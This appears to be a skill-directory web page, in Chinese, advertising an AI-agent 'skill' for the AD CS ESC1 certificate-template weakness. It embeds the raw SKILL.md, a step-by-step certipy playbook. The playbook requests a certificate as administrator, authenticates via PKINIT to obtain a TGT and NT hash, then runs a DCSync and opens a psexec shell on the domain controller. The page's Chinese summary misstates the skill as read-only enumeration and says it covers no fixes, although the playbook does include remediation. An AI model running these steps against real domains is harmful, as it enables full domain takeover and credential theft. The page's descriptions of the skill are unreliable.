跳到正文
Skillpedia
安全6.5k · #13935

adcs-esc1

它能做什么

本技能涵盖微软证书服务中的一项具体弱点,称为 ESC1,即某个模板允许申请人自行指定证书上的身份。适合获准检查域的安全测试人员。

适用场景

  • ✓当安全测试人员在获得授权的 Active Directory 域中审查证书模板时。
  • ✓当智能体需要列出哪些模板可能存在 ESC1 错误配置时。
  • ✓当报告需要说明某个证书模板为何有风险以及如何修复时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“你能检查我们获得授权的测试域中,是否有任何证书模板允许某人选择任意用户身份吗?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会使用只读工具列出证书模板,检查那些共同使模板存在风险的设置,然后报告其发现。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

ADCS ESC1 Exploitation

ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.

1. Enumerate templates

# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
  -output /tmp/adcs -text -stdout > /tmp/adcs.txt

# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
  -output /tmp/adcs.json

Decepticon ingest:

adcs_audit("/tmp/adcs.json")

2. Identify ESC1 candidates

A template is ESC1-vulnerable when ALL true:

  • Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)
  • Client Authentication EKU or Smart Card Logon EKU or Any Purpose
  • Enrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • Manager Approval disabled
  • Authorized Signatures Required is 0

certipy output marks these clearly:

[!] Vulnerabilities
        ESC1                                : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

3. Request the cert as Domain Admin

certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
  -target CA_FQDN -template VULNERABLE_TEMPLATE \
  -upn 'administrator@dom' \
  -dc-ip DC_IP \
  -out /tmp/admin.pfx

The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT is set, the CA issues a cert with that UPN even though we're a regular user requesting it.

4. Authenticate as Domain Admin

PKINIT (cert → TGT):

certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed

You get back:

  • A TGT in administrator.ccache (use w/ export KRB5CCNAME=...)
  • The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)

5. Operate as Domain Admin

With NT hash:

# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc

# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'

# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'

6. Promote

kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> → DA",
            props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")

ESC variants quick-ref

ESC Misconfig Sub-skill
ESC1 Enrollee supplies subject + client auth EKU THIS doc
ESC2 Any Purpose EKU template similar to ESC1
ESC3 Enrollment Agent template needs ESC3 + ESC2 combo
ESC4 Vulnerable template ACL (GenericAll, WriteDacl) edit template → ESC1
ESC5 Vulnerable PKI object ACL edit CA settings
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 on CA request as any user via SAN
ESC7 Vulnerable CA ACL (ManageCA, ManageCertificates) approve denied req
ESC8 NTLM relay → AD CS web enrollment coerce + relay
ESC9 UPN no security extension low-priv → high-priv via S4U2self
ESC10 Weak certificate mapping (StrongCertificateBindingEnforcement=0) UPN spoof
ESC11 NTLM relay to ICPR (RPC) similar to ESC8
ESC13 Cert template w/ OID linked to group → group membership manipulation

OPSEC

  • Certipy req generates event 4886 on the CA (cert issued)
  • PKINIT generates event 4768 on DC w/ certificate fields populated
  • Hard to suppress; rely on engagement being permitted to be loud here

CVSS

  • Any ESC1 reachable from low-priv user: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • ESC1 reachable from anonymous (rare): 10.0
  • ESC8 NTLM relay (different exploit, same outcome): 9.8

Defender remediation

# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)

# Fix via UI: Template properties → Subject Name tab → uncheck
# "Supply in the request"
常见问题

ESC1 是什么意思?

它是一种常见证书模板设置的名称,允许申请人提供自己的身份。该技能会说明哪些设置必须同时存在。

该技能是否说明如何修复问题?

该技能侧重于发现并确认问题。修复属于系统所有者及其自身的变更流程。

谁应该使用这个技能?

它面向需要审计自身 Active Directory 中证书服务的、获得授权的安全测试人员和管理员。

详情

作者的原始描述

Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13935
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能